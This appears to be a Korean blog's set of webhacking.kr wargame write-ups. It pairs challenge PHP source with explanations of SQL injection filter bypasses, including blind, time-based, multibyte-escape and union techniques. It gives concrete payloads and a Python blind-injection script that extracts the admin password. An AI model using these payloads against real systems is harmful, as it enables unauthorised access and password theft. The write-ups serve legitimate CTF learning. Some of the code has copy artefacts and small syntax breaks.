<html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?
$secret_key="????";

if(time()>1309064400) exit("오후 2시에 공개됩니다.");

if($_POST[pw])
{

if($_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@solve();
exit();
}

}


if($_GET[msg] && $_GET[se])
{
if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo("Done<br><br>");
}

?>

<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>

<form method=post action=index.php>
Secret key : <input name=pw><input type=submit><br><br>
</form>

<br><br><a href=indexbackupfile.phps>phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=blueh4g>BlueH4g</a></center>
<br><br><br>

</body>
</html>

msg와 se 파라미터 모두 입력해야하며, se 파라미터만 필터처리한다.
필터 문자로는 from, union, select, and, or, not, &, |, benchmark 이다.
필터를 통과하면 다음과 같은 쿼리를 보낸다.
INSERT INTO tb (id, msg, pw, se) VALUES ('$_SESSION[id], '$_GET[msg]', '$secret_key', '$_GET[se]')
그후, 쿼리 성공/실패 여부와 관계없이 'DONE' 을 출력한다. 

즉, 쿼리에 따라 참/거짓 페이지를 구분할 수 없기 sleep() 함수나 benchmark와 같은 응답시간을 통해 참/거짓을 판단해야한다.
이때 사용할 수 있는 조건문은 IF 또는 CASE WHEN THEN 등을 쓰면된다.
$_GET[se]에 IF(substr(pw,1,1)=? ,sleep(x), 1000)를 입력하면 해당 파라미터 값은 INSERT INTO 구문을 통해 테이블에 삽입된다.
이때, 응답시간을 통해 지연이 되면 참 값이므로 pw 값을 구할 수 있다. 
근데 webhacking.kr 57번 문제는 sleep() 함수 인자로 1초 이상을 주면 NOT ACCEPTABLE? 이라는 에러 페이지를 출력한다...


save image



<form method=post action=index.php>
<table border=1 cellpadding=5 cellspacing=0>
<tr><td>username</td><td><input name=uuid type=text></td></tr>
<tr><td>password</td><td><input name=pw type=password></td></tr>
<tr align=center><td><input type=submit value='login'></td><td><input type=button value='join' onclick=location.href='?mode=join' style=width:100;></td></tr>
</form>

<p>

</table><br><br>
<pre>
<a style=background:silver;color:red;width:400;><b>HINT</b></a>
<a style=background:white;color:black;width:400;>
echo("hi! $id");
echo("your password is $pw");

if($id=="admin") echo("good! Password is $solution");
</a>
</pre>

</body>
</html>



힌트를 보면 알 수 있듯, $id == admin 이면 해결된다.

일단 회원가입을 아무렇게 하고 로그인해보자. (ID: d, PW: d)


hi! d

user key : 97864a79b79c692a8f1179fc3642692a


위와 같이 아이디와 md5가 출력된다. 처음에는 d 값 md5인 줄 알았으나, md('d')와 다른 값이길래

md5 복호화 사이트에서 복호화한 결과 dzombie라는 문자열이 나왔다. md5(concat('d','zombie')) 이런식인 것 같다.



// 1번째 시도 

id : admin // pw : 1 을 입력해보았다.  -> Wrong! 출력


// 2번째 시도

id : admin' and 1=1 # // pw : 1 -> Wrong password! 출력


2번째 시도에서 살짝 의문점이 들 것이다.

webhacking.kr 은 phpinfo()를 보면 magic_quotes_gpc On이다. 

그런데 '를 입력하면 SQL 문법오류가 발생한다. 


이는 추측컨대, 해당 디렉터리에 .htaccess  파일을 통해 다음과 같이 설정한 것 같다.

php_flag magic_quotes_gpc off




다시 문제를 풀어보자. 

대부분 로그인 값을 처리할 때 다음과 같은 쿼리를 사용한다.


SELECT * FROM users WHERE id= '' and pw ='' 


1번째 시도는 당연 위에 쿼리를 수행한 결과 레코드가 반환되지 않는다. 따라서 Wrong! 을 출력할 것이다.

하지만 2번째 시도는 해당 쿼리가 id=admin 인 레코드가 반환되어야한다. 하지만 Wrong password! 가 출력되었다. 

이는 다음과 같이 추측할 수 있다.


<?
include "./lib/db_connect.php";
$connect = dbconn();
$id = $_POST[id];
$pw = $_POST[pw];

$q ="SELECT * FROM users WHERE id='".$id."' and pw='".md5($pw.'zombie')."'";
$row = mysql_fetch_array(mysql_query($q,$connect));
if($row){
	if($row[pw] != md5($pw.'zombie')){
		echo "Wrong password";
		exit();	
	}
	echo "hi! ".$id;

}else{
	echo "Wrong!";
	exit();
}

admin 레코드를 추출 후 DB에 저장된 비밀번호와 입력된 비밀번호가 같은지 한번 더 검사해

틀리면 Wrong password! 가 출력되는 것이다. 즉, 아이디와 비밀번호가 모든 맞아야 admin 계정으로 로그인이 된다.

따라서 admin' union select 1#와 같은 union SQL 인젝션 공격이 불가능하다. 

또한 echo "hi! ".$row[id] 일지 echo "hi ".$id 일지에 따라 union SQL 인젝션 공격 가능 유무가 결정된다.


일단 여기까지 생각해두고 회원가입(join)을 통해 우회가 가능한지 살펴보자.

id를 admin으로 만들어야하므로 회원가입할 때 admin으로 가입하려 시도했다.


Username already exists

back


이미 존재한다고 출력된다.

아이디 중복검사는 어떻게 이루어질까? 생각해보았다.

$q = "SELECT count(*) from users WHERE id='". $id ."' ";
$res = mysql_query($q, $connect);
$row_count = mysql_num_rows($res);
if($row_count[0] > 0)
   echo "Username aready exsits<br>";

이때 주의할 점은 mysql_num_rows() 함수는 실패하면 -1(False) 값을 반환하기 때문에 if($row_count[0]){} 이런식으로 하면 안됨.

$q = "SELECT * from users WHERE id='". $id ."'";
$res = mysql_query($q, $connect);
$row_count = mysql_num_rows($res);
if($row_count[0] > 0)
	echo "Username aready exsits<br>";

두 경우로 추측해볼 수 있다.(개인적인 생각)

우선 admin' 로 가입해 싱글쿼터가 이스케이프 되는지 봤다.

ID : admin' // PW : 123


하지만 로그인이 안된다. ID : admin\' // pw : 123 으로 시도했더니 로그인이 됐다.

이는 싱글쿼터를 이스케이프한다는 말이다. 


근데 이상한 것은 좀전에 .htaccess 파일로 php_flag magic_quotes_gpc off 로 저장돼

싱글쿼터를 이스케이프 처리하지 않는다고 했는데 이게 뭔 상황인가 했다.

중복 검사를 하고 데이터베이스에 저장할 때 mysql_real_escape_string($id) 와 같이 이스케이프 함수를 사용해

처리하는 것 같다.


$id = mysql_real_escape_string($id);

$q ="INSERT INTO users (id, pw) VALUES('$id', '$pw')";


따라서 회원가입 페이지를 우회하여 admin으로 회원가입하는 방법은 불가능할 것 같다.

또한 우회가 가능하다 하더라도 PRIMARY KEY로 id가 등록돼 있을 것 같다고 판단함. (<-- 이런 생각은 좋지 못함.. 문제풀고 시도해볼 예정)

일단 냅두고 다시 로그인을 우회하여 문제를 풀어보기로 했다.


앞서 다음과 같이 입력했을 때 Wrong password! 라는 문자열이 출력됐다. 

ID : admin' and 1=1# 

PW : 123


ID: admin' and 1=0#

PW : 123

또한, 위와 같이 거짓 쿼리로 만들 경우 Wrong! 이 출력된다. 

따라서 참/거짓을 구분할 수 있는 Blind SQL 인젝션 공격이 가능하다. 



ID 값은 admin으로 주어졌으니, PW를 구해보자. 

그런데 칼럼을 정확히 모른다. 일단 게싱으로 admin' and length(pw)=32# 를 ID 입력폼에 입력했더니

Wrong password! 가 출력됐다. 따라서 PW가 비밀번호 칼럼인 것을 확인했다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "Wrong password!"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passsssworrrddd'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#    password length   
##################################################################
blind_target_url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php"
 
for i in xrange(1,50):
 
    injectParams = "admin' and length(pw)="+str(i)+"#"
    params = {'uuid' : injectParams , 'pw' : 'rap1er'}
    params = urllib.urlencode(params)
    print "{} ".format(i)+params
    req = urllib2.Request(blind_target_url, params ,headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
pw_len = i
print "password length :" + str(i)
 
 
##################################################################
#     password string 
##################################################################
count=0
password = ""
for i in xrange(1, pw_len+1):
    bit_str = ""
    for j in xrange(18):
        injectParams = "admin' and substr(lpad(bin(ascii(substr(pw,{},1))),7,0),{},1)=0#".format(i, j)      
        params = {'uuid' : injectParams, 'pw' : 'rap1er'}
        params = urllib.urlencode(params)
        req = urllib2.Request(blind_target_url, params, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, j)
            bit_str += '0'
        else:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, j)
            bit_str +='1'
 
    password += chr(int(bit_str,2))
    print "{}'s password : ".format(i)+ password
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs




save image



GET 방식

import urllib2 # 1. 일반적 GET으로 호출 하는 방법 (url ? query string으로 날릴시) response = urllib2.urlopen('http://test.com?param1=a&param2=b') # 2. header 의 값이 필요 할때 request = urllib2.Request('http://test.com?param1=a&param2=b', None, {'Content-Type': 'application/json'}) response = urllib2.urlopen(request) # 3. 2번과 동일 하나 명시적으로 파라미터를 호출 request = urllib2.Request('http://test.com?param1=a&param2=b', headers={'Content-Type': 'application/json'}) response = urllib2.urlopen(request)


POST 방식

import urllib2
import urllib
# POST 요청은 data 값이 들어 있는가에 따라 요청 방식이 달라진다.
data = '{"param1":"a", "param2" : "b"}'
data = urllib.urlencode(data)
request = urllib2.Request('http://test.com', data, xxxx)
response = urllib2.urlopen(request)


차이점은 urllib2.Request() 함수에 url 인자에 파라미터를 전부 보내느냐  <- GET

2번째 인자로 파라미터 딕셔너리로 보낼 것이냐 차이. <- POST

<html>
<head>
<title>Challenge 3</title>
</head>
<body>
<center>Puzzle</center>
<p>
<hr>

<form name=kk method=get action=index.php>


<table border=3 width=500 height=500 align=center bgcolor=white>
<tr align=center>
<td colspan=3 rowspan=3 bgcolor=white></td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>1</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>

<tr align=center>

<td>1</td>
<td>&nbsp;</td>
<td>1</td>
<td>&nbsp;</td>
<td>1</td>
</tr>

<tr align=center>

<td>1</td>
<td>3</td>
<td>1</td>
<td>3</td>
<td>1</td>
</tr>

<tr align=center>
<td>1</td>
<td>1</td>
<td>1</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._1.value=1; } else { this.style.background='white';kk._1.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._2.value=1; } else { this.style.background='white';kk._2.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._3.value=1; } else { this.style.background='white';kk._3.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._4.value=1; } else { this.style.background='white';kk._4.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._5.value=1; } else { this.style.background='white';kk._5.value=0; }" >&nbsp;</td>
</tr>

<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>0</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._6.value=1; } else { this.style.background='white';kk._6.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._7.value=1; } else { this.style.background='white';kk._7.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._8.value=1; } else { this.style.background='white';kk._8.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._9.value=1; } else { this.style.background='white';kk._9.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._10.value=1; } else { this.style.background='white';kk._10.value=0; }" >&nbsp;</td>
</tr>

<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>3</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._11.value=1; } else { this.style.background='white';kk._11.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._12.value=1; } else { this.style.background='white';kk._12.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._13.value=1; } else { this.style.background='white';kk._13.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._14.value=1; } else { this.style.background='white';kk._14.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._15.value=1; } else { this.style.background='white';kk._15.value=0; }" >&nbsp;</td>
</tr>

<tr align=center>
<td>&nbsp;</td>
<td>1</td>
<td>1</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._16.value=1; } else { this.style.background='white';kk._16.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._17.value=1; } else { this.style.background='white';kk._17.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._18.value=1; } else { this.style.background='white';kk._18.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._19.value=1; } else { this.style.background='white';kk._19.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._20.value=1; } else { this.style.background='white';kk._20.value=0; }" >&nbsp;</td>
</tr>

<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>5</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._21.value=1; } else { this.style.background='white';kk._21.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._22.value=1; } else { this.style.background='white';kk._22.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._23.value=1; } else { this.style.background='white';kk._23.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._24.value=1; } else { this.style.background='white';kk._24.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._25.value=1; } else { this.style.background='white';kk._25.value=0; }" >&nbsp;</td>
</tr>




</table>
<input name=_1 size=2 value=0 type=hidden>
<input name=_2 size=2 value=0 type=hidden>
<input name=_3 size=2 value=0 type=hidden>
<input name=_4 size=2 value=0 type=hidden>
<input name=_5 size=2 value=0 type=hidden>
<input name=_6 size=2 value=0 type=hidden>
<input name=_7 size=2 value=0 type=hidden>
<input name=_8 size=2 value=0 type=hidden>
<input name=_9 size=2 value=0 type=hidden>
<input name=_10 size=2 value=0 type=hidden>
<input name=_11 size=2 value=0 type=hidden>
<input name=_12 size=2 value=0 type=hidden>
<input name=_13 size=2 value=0 type=hidden>
<input name=_14 size=2 value=0 type=hidden>
<input name=_15 size=2 value=0 type=hidden>
<input name=_16 size=2 value=0 type=hidden>
<input name=_17 size=2 value=0 type=hidden>
<input name=_18 size=2 value=0 type=hidden>
<input name=_19 size=2 value=0 type=hidden>
<input name=_20 size=2 value=0 type=hidden>
<input name=_21 size=2 value=0 type=hidden>
<input name=_22 size=2 value=0 type=hidden>
<input name=_23 size=2 value=0 type=hidden>
<input name=_24 size=2 value=0 type=hidden>
<input name=_25 size=2 value=0 type=hidden>
<input name=_answer type=hidden>

<center><input type=button value='gogo' onclick=go()></center>

<script>
function go()
{
var answer="";
for(i=1;i<=25;i++) { answer=answer+eval("kk._"+i+".value"); }
kk._answer.value=answer;
kk.submit();
}
</script>

</body>
</html>



<html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>

<!-- index.phps -->

<?

$pw="?????";

if($_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();


if($data)
{
echo("hi $data[0]<br><br>");

if($data[0]=="admin") @solve();
}


if(!$data)
{
echo("Wrong");
}

}

?>

</body>
</html>
 



50번 문제와 비슷하다. 

2018/09/11 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ



이 문제도 id와 pw를 입력 받고 id 값을 mb_convert_encoding() 함수로 euc-kr -> utf-8 로 인코딩 방식을 변환했다.

mb_convert_encoding() 함수를 사용하면 %a1 ~ %fe 값이 백슬래시 앞에 오면 백슬래시를 먹어버린다. 

따라서 magic_quotes_gpc 또는 addslashes() 함수로 싱글쿼터를 이스케이프해도 우회할 수 있다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



SELECT id from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')


id와 pw를 입력받아 해당 값을 쿼리로 전달한다. 

근데 웃긴게 필터를 쿼리 이후에 하네? 어쨋든 필터 문자를 입력하면 exit() 를 호출하기 때문에 우회해야한다.


# $_GET[id] 필터 문자

admin

from

union

limit


# $_GETpw] 필터 문자

union

pw

=, <, >

from


쿼리 결과 레코드가 존재하면 "hi 아이디 값" 를 출력한다.

쿼리 결과 id 값이 admin이면 해결된다.



id 값에는 admin이 올 수 없기 때문에 pw에서 admin을 입력해준다. 이때, 주석(/**/)을 사용한다.


SELECT id from members WHERE id='rap1erX'/*' and pw=md5('*/ or id like 0x61646d696e# ')

id = rapier%a1'%2F*

pw = *%2For id like 0x61646d696e%23



SELECT id from members WHERE id='rapierX'/* ' and pw=md5('*/ or id like 0x61646d696e# ')

SELECT id from members WHERE id='rapierX' or id like 0x61646d696e#


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 <html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000exit();
?>
<!-- index.phps -->
 
<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
 
 
foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}
 
 
if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
 
 
if($data)
{
if($data[0]=="1"echo("level : 1<br><br>");
if($data[0]=="2"echo("level : 2<br><br>");
 
if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>
 
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>
 
cs


mb_convert_encoding 함수는 문자 인코딩을 변환해준다.


mb_convert_encoding(string $str, string $to_encoing, $from_encoding);


ex)

/* Convert EUC-JP to UTF-7 */

$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");


$_GET[id] 값에 인코딩을 euc-kr -> utf-8로 변환한다.

그후 GET 메소드로 전달받은 값을 필터한다.


# 필터 문자


from

pw

(

)

공백

%

=

>

<

@


추가로 $_GET[id]에 union이 오면 필터.

SELECT lv from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')

쿼리 결과 lv=1 이면 level : 1 출력, lv=2 이면 level : 2출력

lv=3 이면 solve() 함수가 호출된다.


쿼리 결과 레코드가 없거나 문법 오류가 발생하면 Wrong을 출력한다.


SELECT * FROM tb id='$_GET[id]' and pw='$_GET[pw]' 쿼리를 통해 lv=3 레코드를 추출하면된다.

mb_convert_encoding 함수 취약점을 이용해 우회가 가능하다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



?id=rap1er%aa%27or%0alv%0alike%0a3%23 // rap1er' or lv like 3#

select lv from members where id='rap1er' or lv like 3#' and pw=md5('$_GET[pw]')

처음에 위와 같이 입력하여 보냈는데 왜 안되지? 생각하다가 lv like 3 대신 레코드가 몇개인지 궁금했다.

1=1 limit 0,1# // level : 1 출력

1=1 limit 2,1# // level : 1 출력

1=1 limit 5,1# // level : 1 출력

????.... 뭔가 이상했다


1=1 order by 1 asc   // level : 1 출력

1=1 order by 1 desc // level : 1 출력

이번에는 order by 로 해봤다. 레코드는 1개인 것 같다...?

근데 레코드가 1개이면 limit 5,1이 어떻게되지?


어쨌든 데이터베이스에 lv=3 레코드가 없는 것을 확인했다. union을 통해 만들 수 있다.
id 파라미터에 union이 필터링 돼 있고 pw에는 없으니까 pw를 통해 만들어보자.


select lv from members where id='rap1er'/* and pw=md5(*/ union select 3#)

?id=rap1er%aa%27/*&pw=*/union%0aselect%0a3%23



union 관련된 걸 입력하는 문제는 다 문제있는 것 같다. 

Not Acceptable.......짜증나

















 <html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}

if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 




?>

<!--

index.phps

-->



</body>
</html>
 

# 필터문자


--

2

50

+

substring

from

infor

mation

lv

공백

=

!

<>

sysM

and

or

table

column


val=2를 넣으면 바로 풀릴 것 같지만 힌트에 명시되어 있다. 데이터베이스에 존재하지 않는다고.. 

따라서 UNION을 이용해 칼럼수와 자료형을 맞추고 거짓 union select 2와 같이 쿼리를 보낸다.

select lv from lv1 where lv=(10)%0aunion%0aselect%0a(5-3) 로 로컬에서 풀어서 인증하는데

계속 안돼서 검색해보니 문제오류? 인듯 하다.





풀었으니까 인증은 올려야쥐

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11><input type=submit value='add'>
</form>
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");

@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}

$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));

if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");

echo("<!--");

while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}

echo("-->");

?>
<br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>

11자리 phone이라는 파라미터를 입력받아 서버로 보낸다.


# 필터문자


%

*

/

=

from

select

x

-

#

((


insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone]) 

필터 처리하고 challenge35_list 테이블에 id, ip, phone 값을 보낸다.


$_SESSION[id]

$_SERVER[REMOTE_ADDR]

$_GET[phone]



select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'

현재 접속한 사용자가 관리자가이 맞는지 체크한다.


insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',1),(0b0110000101100100011011010110100101101110,CHAR(?,?,?,?,?,?,?,?,?,?,?,?,?),2)


id 파라미터에 2진법으로 admin 값을 넣었고, ip는 char 함수를 사용해 현재 IP 주소를 넣었다.





























 <html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>USER-AGENT

<?
$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";

$agent=strtolower($agent);

if(preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if($ck)
{ 
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")

{
@solve();
@mysql_query("delete from lv0");
}


}

if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}


?>

<!--

index.phps

-->

</body>
</html>






USER-AGENT 값을 trim 함수로 \t(탭), \n(개행), \r(캐리지리턴), \0(NULL), \x0b(수직탭) 문자가 포함되었을 경우

제거한다.


# $_SERVER['HTTP_USER_AGENT'] 치환


. -> _

/ -> _


# 필터문자

/

*

union
char
ascii
select
out
infor
schema
columns
sub
-
+
|
!
update
del
drop
from
where
order
by
asc
desc
lv
borad
0~9 숫자
sys
pass
.
like
and
''
sub


$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);

$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

//필터 처리를 마친후 다시 USER_AGENT 를 가져와서 싱글쿼터, \" 를 없앤다.



$count_ck=mysql_fetch_array(mysql_query("select count(id) from lv0"));

if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }

lv0 테이블에 id 개수가 70이상이면 lv0 테이블을 삭제,



id 개수가 70 미만이면 

SELECT id FROM lv0 WHERE agent='$_SERVER["HTTP_USER_AGENT"]'; 쿼리를 보낸다.



HTTP_USER_AGENT에 해당하는 id를 가져오고 해당 id 값이 admin이면 solve() 함수 호출.

쿼리 후 반환 레코드가 없으면 INSERT INTO lv0 (blah blah) 쿼리로 데이터 추가한다.




# 문제 풀이



우선 lv0 테이블에는 agent, ip, id 칼럼이 존재한다.

처음에 문제를 잘못봤다. 데이터 삽입 쿼리에 $agent가 들어가는데 $_SERVER['HTTP_USER_AGENT'] 값이 들어가는 줄 알고

어떻게 레코드를 삽입하지? 싱글쿼터도 먹혔는데 ... 하고 한참 고민하다가 뒤늦게 $agent 값으로 들어간다는걸 알게됐다....



